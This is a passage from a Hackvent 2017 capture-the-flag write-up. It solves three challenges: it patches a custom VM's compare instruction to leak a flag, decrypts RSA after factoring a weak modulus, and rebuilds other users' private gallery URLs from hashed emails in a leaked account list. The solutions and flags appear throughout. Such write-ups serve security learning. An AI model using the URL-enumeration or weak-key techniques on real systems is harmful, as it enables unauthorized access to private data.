>>> hex(499249475383354981071223629166886691785708084325259209724836611856232704)
'0x485631372d7a51427a2d417744672d3146454c2d725545392d474b677100L'

Looks like the flag. Let’s convert it to ASCII:

...
>>> import sys
>>> flag = hex(499249475383354981071223629166886691785708084325259209724836611856232704)
>>> for i in range(2, len(flag)-1, 2):
...   sys.stdout.write(chr(int(flag[i:i+2], 16)))
... 
HV17-zQBz-AwDg-1FEL-rUE9-GKgq

Well, quite a lazy but quick way.

The flag is HV17-zQBz-AwDg-1FEL-rUE9-GKgq.


Day 13: muffin_asm


Author: muffinX
As M. said, kind of a different architecture!
ohai \o/

How about some custom asm to obsfucate the codez?

Download

The provided python-script defines different assembler-instructions (_add, _addv, _sub, _subv, …) and a quite long machine-code which is executed in a while-loop.

Assembler-instructions:

def _add(r1, r2): r[r1] = ((r[r1] + r[r2]) & 0xFF)
def _addv(r1, v): r[r1] = ((r[r1] + v) & 0xFF)
def _sub(r1, r2): r[r1] = ((r[r1] - r[r2]) & 0xFF)
def _subv(r1, v): r[r1] = ((r[r1] - v) & 0xFF)
def _xor(r1, r2): r[r1] = (r[r1] ^ r[r2])
def _xorv(r1, v): r[r1] = (r[r1] ^ v)
def _cmp(r1, r2): f[0] = (r[r1] == r[r2])
def _cmpv(r1, v): f[0] = (r[r1] == v)
def _je(o): global ip; ip = (o if f[0] else ip)
def _jne(o): global ip; ip = (o if not f[0] else ip)
def _wchr(r1): sys.stdout.write(chr(r[r1]))
def _rchr(r1): r[r1] = ord(sys.stdin.read(1))

Machine-code:

run('\x04\x00\x00\x04\x01\x01\x04\x02\x02\x04\x03\x03\x05\x02\xbd\x00\x02\x00\x00\x02...
... 20225 bytes ...

Loop with instruction pointer (ip) to run the machine-code:

def run(codez):
    global ip
    while ip < len(codez):
        c_ins = ins[ord(codez[ip])]
        if c_ins in [_je, _jne]:
            old_ip = ip
            c_ins(struct.unpack('<I', codez[(ip+1):(ip+5)])[0])
            if old_ip == ip: ip += 5
            continue
        num_of_args = c_ins.func_code.co_argcount
        if num_of_args == 0: c_ins()
        elif num_of_args == 1: c_ins(ord(codez[ip+1]))
        else: c_ins(ord(codez[ip+1]), ord(codez[ip+2]))
        ip += (1 + num_of_args)

When running the script you are asked to enter the flag:

user@host:~# python muffin_asm.py
[ muffin asm ]
muffinx: Did you ever codez asm?
<< flag_getter v1.0 >>
ohai, gimmeh flag: test
[-] nope!

My first idea was to write a little disassembler to print the machine-code in assembly in order to understand what the code does. When viewing the assembler-instructions again and thinking about what the code does I thought that the most interesting assembler-instructions are _cmp / _cmpv, because these instructions must be used in order to compare the flag, the user entered, with the actual flag.

Thus I added a single line in both functions to output the value of the registers / constant used:

def _cmp(r1, r2):
  print("r1="+chr(r[r1])+", r2="+chr(r[r2])) # ADDED
  f[0] = (r[r1] == r[r2])

def _cmpv(r1, v):
  print("r1="+chr(r[r1])+", v="+chr(v)) # ADDED
  f[0] = (r[r1] == v)

And ran the script again:

user@host:~# python muffin_asm.py
[ muffin asm ]
muffinx: Did you ever codez asm?
<< flag_getter v1.0 >>
ohai, gimmeh flag: test
r1=t, r2=H
[-] nope!

Looks good! The instruction _cmp is called with r1 being the first character of my input (t) and r2 being H which could be a flag, right!? 🙂

Let’s input something more flag-like:

user@host:~# python muffin_asm.py
[ muffin asm ]
muffinx: Did you ever codez asm?
<< flag_getter v1.0 >>
ohai, gimmeh flag: HV17-test
r1=H, r2=H
r1=V, r2=V
r1=1, r2=1
r1=7, r2=7
r1=-, r2=-
r1=t, r2=m
[-] nope!

Now script does not abort after the first character because r1 and r2 match for the first 5 characters. The script aborts at the 6th character because the t I entered (r1) should be an m (r2).

So now we could just restart the script and sequentially grab every character of the flag. Or we simply adjust the cmp instruction a little bit:

def _cmp(r1, r2):
  sys.stdout.write(chr(r[r2]))
  f[0] = True

The first added line prints a single character of the flag (value of r2). The adjustment in the second line lets the comparison always be true. Thus the script will not stop until every character of the flag is printed.

Now we just have to input a string with the same length of the flag:

user@host:~# python muffin_asm.py
[ muffin asm ]
muffinx: Did you ever codez asm?
<< flag_getter v1.0 >>
ohai, gimmeh flag: HV17-xxxx-xxxx-xxxx-xxxx-xxxx
HV17-mUff!n-4sm-!s-cr4zY[+] valid! by muffinx  if you liked the challenge, troll me @ twitter.com/muffiniks =D

Done 🙂

The flag is HV17-mUff!n-4sm-!s-cr4zY.


Day 14: Happy Cryptmas


Author: HaRdLoCk
todays gift was encrypted with the attached program. try to unbox your xmas present.

Flag:
7A9FDCA5BB061D0D638BE1442586F3488B536399BA05A14FCAE3F0A2E5F268F2
F3142D1956769497AE677A12E4D44EC727E255B391005B9ADCF53B4A74FFC34C

Download

Let’s have a look at the provided program:

user@host:~# unzip happy_cryptmas.zip
Archive:  happy_cryptmas.zip
  inflating: hackvent                
user@host:~# file hackvent 
hackvent: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>

So we are dealing with a Mach-O executable, used by systems based on the Mach kernel (macOS, iOS).

radare2 supports Mach-O files:

user@host:~# r2 hackvent
[0x100000cc0]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[aav: using from to 0x100000000 0x10000233c
Using vmin 0x100000cc0 and vmax 0x100001068
aav: using from to 0x100000000 0x10000233c
Using vmin 0x100000cc0 and vmax 0x100001068
[x] Analyze value pointers (aav)
[can't find function prototype for sym.imp.__gmpz_initc.* functions (aan)
can't find function prototype for sym.imp.__gmpz_init
can't find function prototype for sym.imp.__gmpz_init_set_str
can't find function prototype for sym.imp.__gmpz_init_set_str
can't find function prototype for sym.imp.__gmpz_import
can't find function prototype for sym.imp.__gmpz_cmp
can't find function prototype for sym.imp.__gmpz_clears
Deinitialized mem.0x100000_0xf0000
[x] Type matching analysis for all functions
[x] Type matching analysis for all functions
[0x100000cc0]> afl
0x100000cc0    8 422          entry0
0x100000e66    1 6            sym.imp.__gmp_printf
0x100000e6c    1 6            sym.imp.__gmpz_clears
0x100000e72    1 6            sym.imp.__gmpz_cmp
0x100000e78    1 6            sym.imp.__gmpz_import
0x100000e7e    1 6            sym.imp.__gmpz_init
0x100000e84    1 6            sym.imp.__gmpz_init_set_str
0x100000e8a    1 6            sym.imp.__gmpz_powm
0x100000e90    1 6            sym.imp.__stack_chk_fail
0x100000e96    1 6            sym.imp.abort
0x100000e9c    1 6            sym.imp.strlen
...

After analyzing the binary (aaaa) we can list all functions with the afl command.

The number of __gmpz functions stand out. Googling for these functions revealed that GMP stands for The GNU Multiple Precision Arithmetic Library. The library provides functions for arbitrary precision calculations.

Let’s see how these functions are used:

[0x100000cc0]> pdf @ entry0
            ;-- main:
            ;-- section.0.__text:
            ;-- _main:
            ;-- func.100000cc0:
/ (fcn) entry0 422
|   entry0 ();
|           ; var int local_b0h @ rbp-0xb0
|           ; var int local_ach @ rbp-0xac
|           ; var int local_a8h @ rbp-0xa8
|           ; var int local_a0h @ rbp-0xa0
|           ; var int local_94h @ rbp-0x94
|           ; var int local_90h @ rbp-0x90
|           ; var int local_88h @ rbp-0x88
|           ; var int local_84h @ rbp-0x84
|           ; var int local_80h @ rbp-0x80
|           ; var int local_74h @ rbp-0x74
|           ; var int local_70h @ rbp-0x70
|           ; var int local_68h @ rbp-0x68
|           ; var int local_64h @ rbp-0x64
|           ; var int local_60h @ rbp-0x60
|           ; var int local_50h @ rbp-0x50
|           ; var int local_40h @ rbp-0x40
|           ; var int local_20h @ rbp-0x20
|           ; var int local_8h @ rbp-0x8
|           ; CALL XREF from 0x100000cc0 (entry0)
|           0x100000cc0      55             push rbp                   ; [0] va=0x100000cc0 pa=0x00000cc0 sz=422 vsz=422 rwx=m-r-x 0.__text
|           0x100000cc1      4889e5         mov rbp, rsp
|           0x100000cc4      4881ecc00000.  sub rsp, 0xc0
|           0x100000ccb      488b052e0300.  mov rax, qword [reloc.__stack_chk_guard_0] ; [0x100001000:8]=0 LEA reloc.__stack_chk_guard_0 ; reloc.__stack_chk_guard_0
|           0x100000cd2      488b00         mov rax, qword [rax]
|           0x100000cd5      488945f8       mov qword [rbp - local_8h], rax
|           0x100000cd9      c7459c000000.  mov dword [rbp - local_64h], 0
|           0x100000ce0      897d98         mov dword [rbp - local_68h], edi
|           0x100000ce3      48897590       mov qword [rbp - local_70h], rsi
|           0x100000ce7      837d9801       cmp dword [rbp - local_68h], 1 ; [0x1:4]=0x7feedfa
|       ,=< 0x100000ceb      0f850c000000   jne 0x100000cfd
|       |   0x100000cf1      c7459c000000.  mov dword [rbp - local_64h], 0
|      ,==< 0x100000cf8      e935010000     jmp 0x100000e32
|      |`-> 0x100000cfd      488d7db0       lea rdi, qword [rbp - local_50h]
|      |    0x100000d01      e878010000     call sym.imp.__gmpz_init
|      |    0x100000d06      488d7da0       lea rdi, qword [rbp - local_60h]
|      |    0x100000d0a      e86f010000     call sym.imp.__gmpz_init
|      |    0x100000d0f      488d35020200.  lea rsi, qword str.F66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51 ; 0x100000f18 ; section.3.__cstring ; "F66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51" @ 0x100000f18
|      |    0x100000d16      ba10000000     mov edx, 0x10
|      |    0x100000d1b      488d7de0       lea rdi, qword [rbp - local_20h]
|      |    0x100000d1f      e860010000     call sym.imp.__gmpz_init_set_str
|      |    0x100000d24      488d356e0200.  lea rsi, qword str.65537   ; 0x100000f99 ; str.65537 ; "65537" @ 0x100000f99
|      |    0x100000d2b      ba0a000000     mov edx, 0xa
|      |    0x100000d30      488d7dc0       lea rdi, qword [rbp - local_40h]
|      |    0x100000d34      89458c         mov dword [rbp - local_74h], eax
|      |    0x100000d37      e848010000     call sym.imp.__gmpz_init_set_str
|      |    0x100000d3c      ba01000000     mov edx, 1
|      |    0x100000d41      b901000000     mov ecx, 1
|      |    0x100000d46      4531c0         xor r8d, r8d
|      |    0x100000d49      4531c9         xor r9d, r9d
|      |    0x100000d4c      488d7db0       lea rdi, qword [rbp - local_50h]
|      |    0x100000d50      488b7590       mov rsi, qword [rbp - local_70h]
|      |    0x100000d54      488b7608       mov rsi, qword [rsi + 8]   ; [0x8:8]=0x280000003
|      |    0x100000d58      48897d80       mov qword [rbp - local_80h], rdi
|      |    0x100000d5c      4889f7         mov rdi, rsi               ; const char * s
|      |    0x100000d5f      89857cffffff   mov dword [rbp - local_84h], eax
|      |    0x100000d65      899578ffffff   mov dword [rbp - local_88h], edx
|      |    0x100000d6b      48898d70ffff.  mov qword [rbp - local_90h], rcx
|      |    0x100000d72      4489856cffff.  mov dword [rbp - local_94h], r8d
|      |    0x100000d79      4c898d60ffff.  mov qword [rbp - local_a0h], r9
|      |    0x100000d80      e817010000     call sym.imp.strlen       ; size_t strlen(const char *s);
|      |    0x100000d85      488b4d90       mov rcx, qword [rbp - local_70h]
|      |    0x100000d89      488b4908       mov rcx, qword [rcx + 8]   ; [0x8:8]=0x280000003
|      |    0x100000d8d      488b7d80       mov rdi, qword [rbp - local_80h]
|      |    0x100000d91      4889c6         mov rsi, rax
|      |    0x100000d94      8b9578ffffff   mov edx, dword [rbp - local_88h]
|      |    0x100000d9a      488b8570ffff.  mov rax, qword [rbp - local_90h]
|      |    0x100000da1      48898d58ffff.  mov qword [rbp - local_a8h], rcx
|      |    0x100000da8      4889c1         mov rcx, rax
|      |    0x100000dab      448b856cffff.  mov r8d, dword [rbp - local_94h]
|      |    0x100000db2      4c8b8d60ffff.  mov r9, qword [rbp - local_a0h]
|      |    0x100000db9      4c8b9558ffff.  mov r10, qword [rbp - local_a8h]
|      |    0x100000dc0      4c891424       mov qword [rsp], r10
|      |    0x100000dc4      e8af000000     call sym.imp.__gmpz_import
|      |    0x100000dc9      488d75e0       lea rsi, qword [rbp - local_20h]
|      |    0x100000dcd      488d7db0       lea rdi, qword [rbp - local_50h]
|      |    0x100000dd1      e89c000000     call sym.imp.__gmpz_cmp
|      |    0x100000dd6      83f800         cmp eax, 0
|      |,=< 0x100000dd9      0f8e05000000   jle 0x100000de4
|      ||   0x100000ddf      e8b2000000     call sym.imp.abort        ; void abort(void);
|      |`-> 0x100000de4      488d4de0       lea rcx, qword [rbp - local_20h]
|      |    0x100000de8      488d55c0       lea rdx, qword [rbp - local_40h]
|      |    0x100000dec      488d75b0       lea rsi, qword [rbp - local_50h] ; arithmetic y
|      |    0x100000df0      488d7da0       lea rdi, qword [rbp - local_60h] ; arithmetic x
|      |    0x100000df4      e891000000     call sym.imp.__gmpz_powm  ; floating_point pow(arithmetic x, arithmetic y);
|      |    0x100000df9      488d3d9f0100.  lea rdi, qword str.Crypted:__ZX_n ; 0x100000f9f ; str.Crypted:__ZX_n ; "Crypted: %ZX." @ 0x100000f9f ; const char * format
|      |    0x100000e00      488d75a0       lea rsi, qword [rbp - local_60h]
|      |    0x100000e04      b000           mov al, 0
|      |    0x100000e06      e85b000000     call sym.imp.__gmp_printf ; int printf(const char *format);
|      |    0x100000e0b      4531c0         xor r8d, r8d
|      |    0x100000e0e      488d4dc0       lea rcx, qword [rbp - local_40h]
|      |    0x100000e12      488d55e0       lea rdx, qword [rbp - local_20h]
|      |    0x100000e16      488d75a0       lea rsi, qword [rbp - local_60h]
|      |    0x100000e1a      488d7db0       lea rdi, qword [rbp - local_50h]
|      |    0x100000e1e      898554ffffff   mov dword [rbp - local_ach], eax
|      |    0x100000e24      b000           mov al, 0
|      |    0x100000e26      e841000000     call sym.imp.__gmpz_clears
|      |    0x100000e2b      c7459c000000.  mov dword [rbp - local_64h], 0
|      |    ; JMP XREF from 0x100000cf8 (entry0)
|      `--> 0x100000e32      8b459c         mov eax, dword [rbp - local_64h]
|           0x100000e35      488b0dc40100.  mov rcx, qword [reloc.__stack_chk_guard_0] ; [0x100001000:8]=0 LEA reloc.__stack_chk_guard_0 ; reloc.__stack_chk_guard_0
|           0x100000e3c      488b09         mov rcx, qword [rcx]
|           0x100000e3f      488b55f8       mov rdx, qword [rbp - local_8h]
|           0x100000e43      4839d1         cmp rcx, rdx
|           0x100000e46      898550ffffff   mov dword [rbp - local_b0h], eax
|       ,=< 0x100000e4c      0f850f000000   jne 0x100000e61
|       |   0x100000e52      8b8550ffffff   mov eax, dword [rbp - local_b0h]
|       |   0x100000e58      4881c4c00000.  add rsp, 0xc0
|       |   0x100000e5f      5d             pop rbp
|       |   0x100000e60      c3             ret
\       `-> 0x100000e61      e82a000000     call sym.imp.__stack_chk_fail; void __stack_chk_fail(void);
[0x100000cc0]> 

With the command pdf @ entry0 the entry-function is disassembled and we can see how the functions are used. The relevant parts in the output above are highlighted.

At first 4 arbitrary-length integers are initalized:

  1. At 0x100000d01 (line 41) the function __gmpz_init is called to create an integers stored at rbp - local_50h.
  2. At 0x100000d0a (line 43) the function __gmpz_init is called to create an integers stored at rbp - local_60h.
  3. At 0x100000d1f (line 47) the function __gmpz_init_set_str is called to create an integer stored at rbp - local_20h and initalize it with the string "F66EB887F2B8A620FD03C7D0633791CB...".
  4. At 0x100000d37 (line 52) the function __gmpz_init_set_str is called to create an integer stored at rbp - local_40h and initalize it with the string "65537".

Then at 0x100000d4c (line 57) the address of the newly created integer stored at rbp - local_50h is also stored at rbp - local_80h (0x100000d58).

The call to __gmpz_import at 0x100000dc4 (line 57) basically takes the input to the program and stores it as an integer at rbp - local_80h.

Finally the function __gmpz_powm is called at 0x100000df4 (line 91) in order to calculate the crypted flag which is printed with the function __gmp_printf called at 0x100000e06 (line 95).

Summing it all up the program looks like the following (pseudo-code):

mpz_t integ50;
mpz_t integ60;
mpz_init(integ50);
mpz_init(integ60);

mpz_t integ20;
mpz_init_set_str(integ20, "F66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51", 16);

mpz_t integ40;
mpz_init_set_str(integ40, "65537", 10);

mpz_t integ80 = integ50;

len = strlen(input);
mpz_import(integ80, len, 1, 1, 0, 0, input);

mpz_powm(integ60, integ50, integ40, integ20);
            |        |        |        |-> constant (mod)
            |        |        |-> 65537 (exp)
            |        |-> base
            |-> result


gmp_printf("crypted: %ZX\n", integ60);

Remembering that integ50 and integ80 refer to the same integer the program simply calculates the following equation:

g ^ x = y ( mod N )

Where:
g – base : this value is the input to the program and is unknown. This must be the plaintext-flag!
x – exponent: this value is stored in integ40 which has been initialized with 65537.
y – result : this value is stored in integ60 and is printed by the program. This is the encrypted flag from the challenge description (0x7A9FDCA5BB061D0D638BE1442586F3488B536399BA05A14FCAE3F0A2E5F268F2F3142D1956769497AE677A12E4D44EC727E255B391005B9ADCF53B4A74FFC34C).
N – modulo : this value is stored in integ20 which has been initialized with 0xF66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51.

Thus all we have to do is to calculate g using a little bit math:

Our equation …

g^x = y (mod N)

.. can be reorder to solve the equation for g using phi:

g = y ^ (x^-1 mod phi(N)) (mod N)

phi(N) is defined as (p-1)*(q-1):

g = y ^ (x^-1 mod (p-1)*(q-1)) (mod N)

p and q are the factors of N. Thus N = p * q.

So what is missing to solve the equation?

We don’t know p and q (yet). Thus we have to factorize N.

This is a quite challenging task because N is very large. Luckily there exists pages like http://factordb.com to help us out.

After entering our N we get the corresponding p and q:

--> p = 18132985757038135691
--> q = 711781150511215724435363874088486910075853913118425049972912826148221297483065007967192431613422409694054064755658564243721555532535827

Thus:

phi(N) = 18132985757038135690 * 711781150511215724435363874088486910075853913118425049972912826148221297483065007967192431613422409694054064755658564243721555532535826 = 12906717464348092265244629060349066959825836365560827526746812703342315470079490199626403833118069465749256760657457871243234163897200332638336853174229940

Now we have to calculate x^-1 mod phi(N). This is also called the modular multiplicative inverse and can be calculated with the extended euclidean algorithm.

The following python-script initializes all required variables with our already known values, calculates the modular multiplicative inverse and solves the equation for g:

#!/usr/bin/python

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y


def main():

    N = 0xF66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51
    p = 18132985757038135691
    q = 711781150511215724435363874088486910075853913118425049972912826148221297483065007967192431613422409694054064755658564243721555532535827
    e = 65537
    y = 0x7A9FDCA5BB061D0D638BE1442586F3488B536399BA05A14FCAE3F0A2E5F268F2F3142D1956769497AE677A12E4D44EC727E255B391005B9ADCF53B4A74FFC34C


    # compute phi(N)
    phi = (p - 1) * (q - 1)

    # compute modular inverse of e
    gcd, x1, b = egcd(e, phi)
    
    # make x1 positive 
    x1 = x1 + phi

    # decrypt flag (solve for g)
    g = pow(y, x1, N)
    print(g)

if __name__ == "__main__":
    main()

Running the script finally reveals g:

user@host:~# ./solve.py
1950193263214537087126063880738805970134683456457941605829795971018850

Let’s convert g to hex:

user@host:~# python
...
>>> g = hex(1950193263214537087126063880738805970134683456457941605829795971018850)
>>> g
'0x485631372d35424d752d6d6744302d473753752d455973702d4d673062L'

Looks like ASCII, doesn’t it? 🙂

...
>>> import sys
>>> for i in range(2, len(g)-1, 2):
...   sys.stdout.write(chr(int(g[i:i+2],16)))
... 
HV17-5BMu-mgD0-G7Su-EYsp-Mg0b>>> 

Done!

The flag is HV17-5BMu-mgD0-G7Su-EYsp-Mg0b.


Day 15: Unsafe Gallery


Author: inik
See pictures you shouldn’t see
The List of all Users of the Unsafe Gallery was leaked (See account list).
With this list the URL to each gallery can be constructed. E.g. you find Danny’s gallery here.

Now find the flag in Thumper’s gallery.

Link to Danny’s gallery

account list

The provided account list contains all gallery-users with an id, prename, name and so forth:

user@host:~$ cat accounts.csv | head 
id,prename,name,address,zip,city,email,crmId,memberType,pictureCount,galleryCount,mbUsed,logCorrelationId,advertisingId,state
0,Ethan,McCullough,1259 Arborwood Circle,27299,Manchester,Ethan.McCullough@mccullough.com,12739789,silver,26,1,77,19591907,1,disabled
1,Vivian,Parsons,1222 Basin Way,49195,Byromville,Vivian.Parsons@gmx.com,24818112,platin,25,1,71,14903484,7,active
2,Kaitlyn,Wells,1547 Kinzel Station,44404,Gibson,K.Wells@sunflower.org,2024240,platin,28,1,77,98402385,14,active
3,Dakota,Hayes,1709 Akron Trail,3063,Morrow,Dakota.Hayes@sunflower.org,98938964,gold,29,1,76,60973407,21,active
4,Tristan,Clarke,581 Stephens Terrace,62095,Alamo,T.Clarke@sunflower.org,32237218,gold,13,1,38,68087773,28,active
5,Haley,Sharpe,1748 Lawn Square,49681,Valdosta,Haley.Sharpe@outlook.com,92087384,silver,24,1,59,68073856,35,active
6,Wendy,Mosley,1162 Mckaig Circle,82409,Omega,Wendy.Mosley@gmail.com,71594521,gold,21,1,56,15231135,40,disabled
7,Cheyenne,Hooper,1032 Virginia Trail,39759,Villa Rica,C.Hooper@outlook.com,51859355,silver,22,1,57,64079480,45,disabled
8,Kelly,McClain,1662 Carlton Street,32967,Cox,Kelly.McClain@gmail.com,50766454,gold,3,1,7,97619007,48,active

Greping for the user Danny and Thumper reveals that there are a few users called Danny / Thumper:

user@host:~$ cat accounts.csv | grep Danny | wc -l
82
user@host:~$ cat accounts.csv | grep Thumper | wc -l
24

The given link leads to the gallery of a user called Danny. The gallery is accessed with an identifier supposed to be base64-encoded:

http://challenges.hackvent.hacking-lab.com:3958/gallery/bncqYuhdQVey9omKA6tAFi4rep1FDRtD4H8ftWiw

According to the challenge description the URL to each gallery can be constructed with the given account list. Our goal is to access the gallery of Thumper. Thus we have to:

  1. Understand how the URL is built from the account-data with the given example for the user Danny.
  2. Calculate the URL for Thumper.
  3. Access Tumper‘s gallery and get the flag.

At first I started by decoding the identifier which seems to be base64-encoded:

user@host:~$ echo "bncqYuhdQVey9omKA6tAFi4rep1FDRtD4H8ftWiw" | base64 -d 
nw*bè]AW²ö‰Š«@.+zE
Càµh°user@host:~$

Ok. Obviously binary data:

user@host:~$ echo "bncqYuhdQVey9omKA6tAFi4rep1FDRtD4H8ftWiw" | base64 -d > id_Danny
user@host:~$ hexdump -C id_Danny  
00000000  6e 77 2a 62 e8 5d 41 57  b2 f6 89 8a 03 ab 40 16  |nw*b.]AW......@.|
00000010  2e 2b 7a 9d 45 0d 1b 43  e0 7f 1f b5 68 b0        |.+z.E..C....h.|
0000001e

So we have got 30 bytes. What could this be? Since there are 30 bytes and 15 fields for every entry in the account list I thought that this two numbers might be connected. Maybe a checksum for every field is calculated and only the first 2 bytes of the checksum for each field are concatenated. Thus I wrote a python-script and tried this for md5, sha1, sha256, sha512 filtering for the user Danny:

#!/usr/bin/python

import hashlib
import sys

lookingFor = "6e772a62e85d4157b2f6898a03ab40162e2b7a9d450d1b43e07f1fb568b0"

def h1(str):
  hash = hashlib.sha256()  # also try: md5, sha1, sha512, ..
  hash.update(str)
  return hash.hexdigest()


f = open("accounts.csv", "r")

for line in f:
  arr = line.split(",")

  if (arr[1] == "Danny"):  # filter for user Danny

    val = ""
    for i in range(len(arr)):
      hx = h1(arr[i])
      val += hx[-4:]       # only take 2 first bytes of checksum (= 4 hex-characters)
      print("--" + hx)     # print total checksum for this field

    print(val)             # print 2-first-byte checksum

    if (val == lookingFor):
      print("got it!")
      print(line)
      quit()

Running the script:

user@host:~$ ./checksum.py
--59e19706d51d39f66711c2653cd7eb1291c94d9b55eb14bda74ce4dc636d015a
--662c67141c20e7f8730607d8a22aab33088f766c28101b554f1a177e22d45dc7
--d9e1b51ac9805a3979ca7c91a3c612b2d5875949c994c5c0bc07947886b76eed
--49646fde6246284728bdccaf79fe0f19767b42e13ae240d8ecd634a5401673d3
--e0315a161f7bb60167991e203d1af74fca0f78dd5128bbcc69299ad238beb1bc
--a397a143329598d443dee5ec83fc7e48b786d22f4f910e829f73446e1d7fc1b5
--157b6c447acb150716f7987bff730f0bc3e3a3fa8b13572e4c8372f42ea93aa6
--501b08d7fdb4e904034def4977ddcb97a08ab521b6a991b99be1e666d3e44d1a
--78cde64c3e47f2cbfd9da721f54aacde33779916683c79de86962898feefac21
--b17ef6d19c7a5b1ee83b907c595526dcb1eb06db8227d650d5dda0a9f4ce8cd9
--6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
--31489056e0916d59fe3add79e63f095af3ffb81604691f21cad442a85c7be617
--e1da35d7ff1b22fc7fbd90e6388588c1a7e3528b54bebe904bb5aef5c900355f
--8d27ba37c5d810106b55f3fd6cdb35842007e88754184bfc0e6035f9bcede633
--45df5ad5e0ecfa54d3226343e0e6857337494ba6e32f189d1174070665d8c659
015a5dc76eed73d3b1bcc1b53aa64d1aac218cd95b4be617355fe633c659
--aaf5060b9517ba4f550ee34a7f3ed7b05b6e5100a523d3e0aae05bf4f8f7ec34
--662c67141c20e7f8730607d8a22aab33088f766c28101b554f1a177e22d45dc7
--9bb0aacc6d51f1408ed983b84c42e941fca204de70ff5595a4d1b7cff8b22815
--ce205d3d554b0ea8bd4fcb23e8af4075c312f81db895f86c0e9b7ca834080b25
--33d389e41b80558d43c7fd1a35daa0c71825b6ca1ba9a1253f4f2b562e5b6a21
--9bc98c413246d9911fd841165c3711da289d85a61e6030b354bee0c5c1f3abed
--5ea08eb3f2b1f12a599391366c921162bed76e3689a0566bba23159248b5c235
--cd20466a64eebc241e1f7b50360c7ad9c68c400b38d837642ce04f3127932dd8
--6c6db489265f1e4a8c6f396a385ab5a39785a722497f6589afc11b433d0a2ddd
--7902699be42c8a8e46fbbb4501726517e86b22c56a189f7625a6da49081b2451
--6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
--4523540f1504cd17100c4835e85b7eefd49911580f8efff0599a8f283be6b9e3
--a45169bfee6ba70e774996c08f9d7a50d091fdfefd90c681c1b1a3bf65bea3f6
--318c731917609d7f276fd198b928596360758b0afc5ec9e224022a2fa1403cc0
--45df5ad5e0ecfa54d3226343e0e6857337494ba6e32f189d1174070665d8c659
ec345dc728150b256a21abedc2352dd82ddd24515b4bb9e3a3f63cc0c659
...

The value I was looking for has not been found :/

Trying the same for md5, sha1, sha512 didn’t reveal anything as well.

At this point I was quite lucky while searching through the output of the script for sha256 and stumbled upon the following line:

...
--6e772a62e85d4157b2f6898a03ab40162e2b7a9d7e143f91b43e07ffc7ed5a2c
...

The value is the sha256 checksum for the 7th field (email). It looks suspiciously similar to the value I am looking for:

sha256 email: 6e772a62e85d4157b2f6898a03ab40162e2b7a9d7e143f91b43e07ffc7ed5a2c
looking for : 6e772a62e85d4157b2f6898a03ab40162e2b7a9d450d1b43e07f1fb568b0

I tried different combinations with the checksums for other fields with no success. So I compared the two values again:

sha256 email: 6e772a62e85d4157b2f6898a03ab40162e2b7a9d7e143f91b43e07ffc7ed5a2c
looking for : 6e772a62e85d4157b2f6898a03ab40162e2b7a9d???450d1b43e07f?1fb568b0

So the first (long) part is equal. Then there is a gap and another equal part. Followed by another mismatch.

I tried to reassemble how the gallery-id is created:

  1. The sha256 checksum of the email is calculated. For user Danny this is 6e772a62e85d4157b2f6898a03ab40162e2b7a9d7e143f91b43e07ffc7ed5a2c.
  2. This value is somehow adjusted.
  3. The value is encoded using base64.

Hm, what’s when we take step (3) before doing the mysterious adjustment of step (2)?

Encoding our sha256-checksum of the email using base64:

user@host:~$ python
...
>>> "6e772a62e85d4157b2f6898a03ab40162e2b7a9d7e143f91b43e07ffc7ed5a2c".decode("hex").encode("base64")
'bncqYuhdQVey9omKA6tAFi4rep1+FD+RtD4H/8ftWiw=\n'

Let’s compare this with the gallery-id:

sha256/base64: bncqYuhdQVey9omKA6tAFi4rep1+FD+RtD4H/8ftWiw=
gallery-id   : bncqYuhdQVey9omKA6tAFi4rep1FDRtD4H8ftWiw

Now we are getting somewhere! In the gallery-id the characters +, / and = are omitted!

When decoding the gallery-id as a base64-string the original sha256-checksum is messed up and thus we didn’t get an exact match.

Great! Now we know how the gallery-id is build and we can look for Thumper‘s gallery 🙂

Because there are a few users called Thumper (24) I wrote a script to calculate the URLs for all of them:

#!/usr/bin/python

import hashlib
import sys

def h1(str):
  hash_md5 = hashlib.sha256()
  hash_md5.update(str)
  return hash_md5.hexdigest()


f = open("accounts.csv", "r")

for line in f:
  arr = line.split(",")

  if (arr[1] == "Thumper"):
    hx = h1(arr[6])
    print(hx)
    b64 = hx.decode('hex').encode('base64')
    uri = b64.replace('+', '').replace('/', '').replace('=', '')
    print("http://challenges.hackvent.hacking-lab.com:3958/gallery/" + uri)

Running the script:

user@host:~$ ./urls
fd2a216dc6eb8019f9513ac0b91b70d5e6aa0706b8aee3cd2098a16a5d746bee
http://challenges.hackvent.hacking-lab.com:3958/gallery/SohbcbrgBn5UTrAuRtw1eaqBwa4ruPNIJihal10a4

a58b3533d1d01ed49079e2cc52f304fe543595ee0ffff10d40cfa66f13484fdc
http://challenges.hackvent.hacking-lab.com:3958/gallery/pYs1M9HQHtSQeeLMUvMElQ1le4PENQMmbxNIT9w

d724c5f951fb25bc6ee594e4ccf594a1c554bbb61d57b9c81dd190dc844d48ad
http://challenges.hackvent.hacking-lab.com:3958/gallery/1yTFVH7Jbxu5ZTkzPWUocVUu7YdV7nIHdGQ3IRNSK0

...

